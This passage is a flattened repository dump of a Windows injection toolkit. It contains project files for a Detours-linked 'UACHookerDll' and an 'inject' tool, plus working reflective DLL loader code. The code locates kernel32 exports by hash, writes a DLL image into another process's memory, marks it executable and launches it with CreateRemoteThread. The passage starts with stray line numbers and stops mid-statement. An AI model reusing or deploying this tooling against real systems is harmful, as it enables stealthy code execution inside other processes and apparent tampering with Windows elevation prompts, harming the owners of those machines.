339 | 344 | 347 | 348 | 351 | 352 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | -------------------------------------------------------------------------------- /UACHookerDll/UACHookerDll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {EF5C3745-7668-4A4B-92E9-1F53248F0EC5} 24 | Win32Proj 25 | UACHookerDll 26 | 10.0.17134.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v141 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v141 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v141 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v141 52 | false 53 | MultiByte 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Use 88 | Level3 89 | Disabled 90 | true 91 | WIN32;_DEBUG;UACHOOKERDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Windows 96 | true 97 | detours.lib;%(AdditionalDependencies) 98 | 99 | 100 | 101 | 102 | Use 103 | Level3 104 | Disabled 105 | true 106 | _DEBUG;UACHOOKERDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 107 | true 108 | 109 | 110 | Windows 111 | true 112 | 113 | 114 | 115 | 116 | Use 117 | Level3 118 | MaxSpeed 119 | true 120 | true 121 | true 122 | WIN32;NDEBUG;UACHOOKERDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 123 | true 124 | 125 | 126 | Windows 127 | true 128 | true 129 | true 130 | 131 | 132 | 133 | 134 | 135 | 136 | Level3 137 | MaxSpeed 138 | true 139 | true 140 | 141 | 142 | WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 143 | false 144 | false 145 | OnlyExplicitInline 146 | Size 147 | MultiThreaded 148 | CompileAsCpp 149 | $(ProjectDir);$(SolutionDir) 150 | 151 | 152 | Windows 153 | true 154 | true 155 | true 156 | detours.lib;version.lib;%(AdditionalDependencies) 157 | $(OutDir)$(TargetName).lib 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | -------------------------------------------------------------------------------- /inject/inject.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335} 23 | inject 24 | Win32Proj 25 | 26 | 27 | 28 | Application 29 | v142 30 | MultiByte 31 | true 32 | 33 | 34 | Application 35 | v142 36 | Unicode 37 | 38 | 39 | Application 40 | v142 41 | MultiByte 42 | true 43 | 44 | 45 | Application 46 | v142 47 | Unicode 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | <_ProjectFileVersion>16.0.30712.155 67 | 68 | 69 | $(SolutionDir)$(Configuration)\ 70 | $(Configuration)\ 71 | true 72 | MinimumRecommendedRules.ruleset 73 | 74 | 75 | $(SolutionDir)$(Platform)\$(Configuration)\ 76 | $(Platform)\$(Configuration)\ 77 | true 78 | MinimumRecommendedRules.ruleset 79 | 80 | 81 | $(SolutionDir)$(Configuration)\ 82 | $(Configuration)\ 83 | false 84 | MinimumRecommendedRules.ruleset 85 | 86 | 87 | $(SolutionDir)$(Platform)\$(Configuration)\ 88 | $(Platform)\$(Configuration)\ 89 | false 90 | MinimumRecommendedRules.ruleset 91 | 92 | 93 | 94 | Disabled 95 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 96 | true 97 | EnableFastChecks 98 | MultiThreadedDebugDLL 99 | 100 | Level3 101 | EditAndContinue 102 | 103 | 104 | true 105 | Console 106 | MachineX86 107 | 108 | 109 | 110 | 111 | X64 112 | 113 | 114 | Disabled 115 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 116 | true 117 | EnableFastChecks 118 | MultiThreadedDebugDLL 119 | 120 | Level3 121 | ProgramDatabase 122 | 123 | 124 | true 125 | Console 126 | MachineX64 127 | $(OutDir)$(TargetName)$(TargetExt) 128 | 129 | 130 | 131 | 132 | MaxSpeed 133 | true 134 | WIN32;NDEBUG;_CONSOLE;WIN_X86;%(PreprocessorDefinitions) 135 | MultiThreaded 136 | true 137 | 138 | Level3 139 | ProgramDatabase 140 | 141 | 142 | true 143 | Console 144 | true 145 | true 146 | MachineX86 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | X64 156 | 157 | 158 | MaxSpeed 159 | true 160 | WIN64;NDEBUG;_CONSOLE;_WIN64;WIN_X64;%(PreprocessorDefinitions) 161 | MultiThreaded 162 | true 163 | 164 | Level3 165 | ProgramDatabase 166 | 167 | 168 | $(OutDir)$(TargetName)$(TargetExt) 169 | false 170 | Console 171 | true 172 | true 173 | MachineX64 174 | false 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | -------------------------------------------------------------------------------- /inject/src/LoadLibraryR.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "LoadLibraryR.h" 29 | #include 30 | //===============================================================================================// 31 | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) 32 | { 33 | WORD wIndex = 0; 34 | PIMAGE_SECTION_HEADER pSectionHeader = NULL; 35 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 36 | 37 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); 38 | 39 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); 40 | 41 | if( dwRva < pSectionHeader[0].PointerToRawData ) 42 | return dwRva; 43 | 44 | for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) 45 | { 46 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) 47 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); 48 | } 49 | 50 | return 0; 51 | } 52 | //===============================================================================================// 53 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) 54 | { 55 | UINT_PTR uiBaseAddress = 0; 56 | UINT_PTR uiExportDir = 0; 57 | UINT_PTR uiNameArray = 0; 58 | UINT_PTR uiAddressArray = 0; 59 | UINT_PTR uiNameOrdinals = 0; 60 | DWORD dwCounter = 0; 61 | #ifdef WIN_X64 62 | DWORD dwCompiledArch = 2; 63 | #else 64 | // This will catch Win32 and WinRT. 65 | DWORD dwCompiledArch = 1; 66 | #endif 67 | 68 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; 69 | 70 | // get the File Offset of the modules NT Header 71 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 72 | 73 | // currenlty we can only process a PE file which is the same type as the one this fuction has 74 | // been compiled as, due to various offset in the PE structures being defined at compile time. 75 | if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 76 | { 77 | if( dwCompiledArch != 1 ) 78 | return 0; 79 | } 80 | else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 81 | { 82 | if( dwCompiledArch != 2 ) 83 | return 0; 84 | } 85 | else 86 | { 87 | return 0; 88 | } 89 | 90 | // uiNameArray = the address of the modules export directory entry 91 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 92 | 93 | // get the File Offset of the export directory 94 | uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); 95 | 96 | // get the File Offset for the array of name pointers 97 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); 98 | 99 | // get the File Offset for the array of addresses 100 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 101 | 102 | // get the File Offset for the array of name ordinals 103 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 104 | 105 | // get a counter for the number of exported functions... 106 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; 107 | 108 | // loop through all the exported functions to find the ReflectiveLoader 109 | while( dwCounter-- ) 110 | { 111 | char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); 112 | 113 | if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) 114 | { 115 | // get the File Offset for the array of addresses 116 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 117 | 118 | // use the functions name ordinal as an index into the array of name pointers 119 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 120 | 121 | // return the File Offset to the ReflectiveLoader() functions code... 122 | return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); 123 | } 124 | // get the next exported function name 125 | uiNameArray += sizeof(DWORD); 126 | 127 | // get the next exported function name ordinal 128 | uiNameOrdinals += sizeof(WORD); 129 | } 130 | 131 | return 0; 132 | } 133 | //===============================================================================================// 134 | // Loads a DLL image from memory via its exported ReflectiveLoader function 135 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) 136 | { 137 | HMODULE hResult = NULL; 138 | DWORD dwReflectiveLoaderOffset = 0; 139 | DWORD dwOldProtect1 = 0; 140 | DWORD dwOldProtect2 = 0; 141 | REFLECTIVELOADER pReflectiveLoader = NULL; 142 | DLLMAIN pDllMain = NULL; 143 | 144 | if( lpBuffer == NULL || dwLength == 0 ) 145 | return NULL; 146 | 147 | __try 148 | { 149 | // check if the library has a ReflectiveLoader... 150 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 151 | if( dwReflectiveLoaderOffset != 0 ) 152 | { 153 | pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); 154 | 155 | // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... 156 | // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region 157 | if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) 158 | { 159 | // call the librarys ReflectiveLoader... 160 | pDllMain = (DLLMAIN)pReflectiveLoader(); 161 | if( pDllMain != NULL ) 162 | { 163 | // call the loaded librarys DllMain to get its HMODULE 164 | if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) 165 | hResult = NULL; 166 | } 167 | // revert to the previous protection flags... 168 | VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); 169 | } 170 | } 171 | } 172 | __except( EXCEPTION_EXECUTE_HANDLER ) 173 | { 174 | hResult = NULL; 175 | } 176 | 177 | return hResult; 178 | } 179 | //===============================================================================================// 180 | // Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function 181 | // Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 182 | // defined in order to use the correct RDI prototypes. 183 | // Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 184 | // PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ 185 | // Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. 186 | // Note: This function currently cant inject accross architectures, but only to architectures which are the 187 | // same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. 188 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) 189 | { 190 | BOOL bSuccess = FALSE; 191 | LPVOID lpRemoteLibraryBuffer = NULL; 192 | LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; 193 | HANDLE hThread = NULL; 194 | DWORD dwReflectiveLoaderOffset = 0; 195 | DWORD dwThreadId = 0; 196 | 197 | __try 198 | { 199 | do 200 | { 201 | if( !hProcess || !lpBuffer || !dwLength ) 202 | break; 203 | 204 | // check if the library has a ReflectiveLoader... 205 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 206 | if( !dwReflectiveLoaderOffset ) 207 | break; 208 | 209 | // alloc memory (RWX) in the host process for the image... 210 | lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 211 | if( !lpRemoteLibraryBuffer ) 212 | break; 213 | 214 | // write the image into the host process... 215 | if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) 216 | break; 217 | 218 | // add the offset to ReflectiveLoader() to the remote library address... 219 | lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); 220 | 221 | // create a remote thread in the host process to call the ReflectiveLoader! 222 | hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); 223 | 224 | } while( 0 ); 225 | 226 | } 227 | __except( EXCEPTION_EXECUTE_HANDLER ) 228 | { 229 | hThread = NULL; 230 | } 231 | 232 | return hThread; 233 | } 234 | //===============================================================================================// 235 | -------------------------------------------------------------------------------- /UACHookerDll/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) 52 | #endif 53 | { 54 | 55 | // the functions we need 56 | LOADLIBRARYA pLoadLibraryA = NULL; 57 | GETPROCADDRESS pGetProcAddress = NULL; 58 | VIRTUALALLOC pVirtualAlloc = NULL; 59 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 60 | 61 | USHORT usCounter; 62 | 63 | // the initial location of this image in memory 64 | ULONG_PTR uiLibraryAddress; 65 | // the kernels base address and later this images newly loaded base address 66 | ULONG_PTR uiBaseAddress; 67 | 68 | // variables for processing the kernels export table 69 | ULONG_PTR uiAddressArray; 70 | ULONG_PTR uiNameArray; 71 | ULONG_PTR uiExportDir; 72 | ULONG_PTR uiNameOrdinals; 73 | DWORD dwHashValue; 74 | 75 | // variables for loading this image 76 | ULONG_PTR uiHeaderValue; 77 | ULONG_PTR uiValueA; 78 | ULONG_PTR uiValueB; 79 | ULONG_PTR uiValueC; 80 | ULONG_PTR uiValueD; 81 | ULONG_PTR uiValueE; 82 | 83 | // STEP 0: calculate our images current base address 84 | 85 | // we will start searching backwards from our callers return address. 86 | uiLibraryAddress = caller(); 87 | 88 | // loop through memory backwards searching for our images base address 89 | // we dont need SEH style search as we shouldnt generate any access violations with this 90 | while (TRUE) 91 | { 92 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) 93 | { 94 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 95 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 96 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 97 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) 98 | { 99 | uiHeaderValue += uiLibraryAddress; 100 | // break if we have found a valid MZ/PE header 101 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) 102 | break; 103 | } 104 | } 105 | uiLibraryAddress--; 106 | } 107 | 108 | lpParameter = (LPVOID) * ((PULONG_PTR)((LPBYTE)uiLibraryAddress + 2)); 109 | 110 | // STEP 1: process the kernels exports for the functions our loader needs... 111 | 112 | // get the Process Enviroment Block 113 | #ifdef WIN_X64 114 | uiBaseAddress = __readgsqword(0x60); 115 | #else 116 | #ifdef WIN_X86 117 | uiBaseAddress = __readfsdword(0x30); 118 | #else WIN_ARM 119 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); 120 | #endif 121 | #endif 122 | 123 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 124 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 125 | 126 | // get the first entry of the InMemoryOrder module list 127 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 128 | while (uiValueA) 129 | { 130 | // get pointer to current modules name (unicode string) 131 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 132 | // set bCounter to the length for the loop 133 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 134 | // clear uiValueC which will store the hash of the module name 135 | uiValueC = 0; 136 | 137 | // compute the hash of the module name... 138 | do 139 | { 140 | uiValueC = ror((DWORD)uiValueC); 141 | // normalize to uppercase if the madule name is in lowercase 142 | if (*((BYTE*)uiValueB) >= 'a') 143 | uiValueC += *((BYTE*)uiValueB) - 0x20; 144 | else 145 | uiValueC += *((BYTE*)uiValueB); 146 | uiValueB++; 147 | } while (--usCounter); 148 | 149 | // compare the hash with that of kernel32.dll 150 | if ((DWORD)uiValueC == KERNEL32DLL_HASH) 151 | { 152 | // get this modules base address 153 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 154 | 155 | // get the VA of the modules NT Header 156 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 157 | 158 | // uiNameArray = the address of the modules export directory entry 159 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 160 | 161 | // get the VA of the export directory 162 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 163 | 164 | // get the VA for the array of name pointers 165 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 166 | 167 | // get the VA for the array of name ordinals 168 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 169 | 170 | usCounter = 3; 171 | 172 | // loop while we still have imports to find 173 | while (usCounter > 0) 174 | { 175 | // compute the hash values for this function name 176 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 177 | 178 | // if we have found a function we want we get its virtual address 179 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) 180 | { 181 | // get the VA for the array of addresses 182 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 183 | 184 | // use this functions name ordinal as an index into the array of name pointers 185 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 186 | 187 | // store this functions VA 188 | if (dwHashValue == LOADLIBRARYA_HASH) 189 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); 190 | else if (dwHashValue == GETPROCADDRESS_HASH) 191 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); 192 | else if (dwHashValue == VIRTUALALLOC_HASH) 193 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); 194 | 195 | // decrement our counter 196 | usCounter--; 197 | } 198 | 199 | // get the next exported function name 200 | uiNameArray += sizeof(DWORD); 201 | 202 | // get the next exported function name ordinal 203 | uiNameOrdinals += sizeof(WORD); 204 | } 205 | } 206 | else if ((DWORD)uiValueC == NTDLLDLL_HASH) 207 | { 208 | // get this modules base address 209 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 210 | 211 | // get the VA of the modules NT Header 212 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 213 | 214 | // uiNameArray = the address of the modules export directory entry 215 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 216 | 217 | // get the VA of the export directory 218 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 219 | 220 | // get the VA for the array of name pointers 221 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 222 | 223 | // get the VA for the array of name ordinals 224 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 225 | 226 | usCounter = 1; 227 | 228 | // loop while we still have imports to find 229 | while (usCounter > 0) 230 | { 231 | // compute the hash values for this function name 232 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 233 | 234 | // if we have found a function we want we get its virtual address 235 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 236 | { 237 | // get the VA for the array of addresses 238 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 239 | 240 | // use this functions name ordinal as an index into the array of name pointers 241 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 242 | 243 | // store this functions VA 244 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 245 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); 246 | 247 | // decrement our counter 248 | usCounter--; 249 | } 250 | 251 | // get the next exported function name 252 | uiNameArray += sizeof(DWORD); 253 | 254 | // get the next exported function name ordinal 255 | uiNameOrdinals += sizeof(WORD); 256 | } 257 | } 258 | 259 | // we stop searching when we have found everything we need. 260 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) 261 | break; 262 | 263 | // get the next entry 264 | uiValueA = DEREF(uiValueA); 265 | } 266 | 267 | // STEP 2: load our image into a new permanent location in memory... 268 | 269 | // get the VA of the NT Header for the PE to be loaded 270 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 271 | 272 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 273 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 274 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 275 | 276 | // we must now copy over the headers 277 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 278 | uiValueB = uiLibraryAddress; 279 | uiValueC = uiBaseAddress; 280 | 281 | while (uiValueA--) 282 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; 283 | 284 | // STEP 3: load in all of our sections... 285 | 286 | // uiValueA = the VA of the first section 287 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + 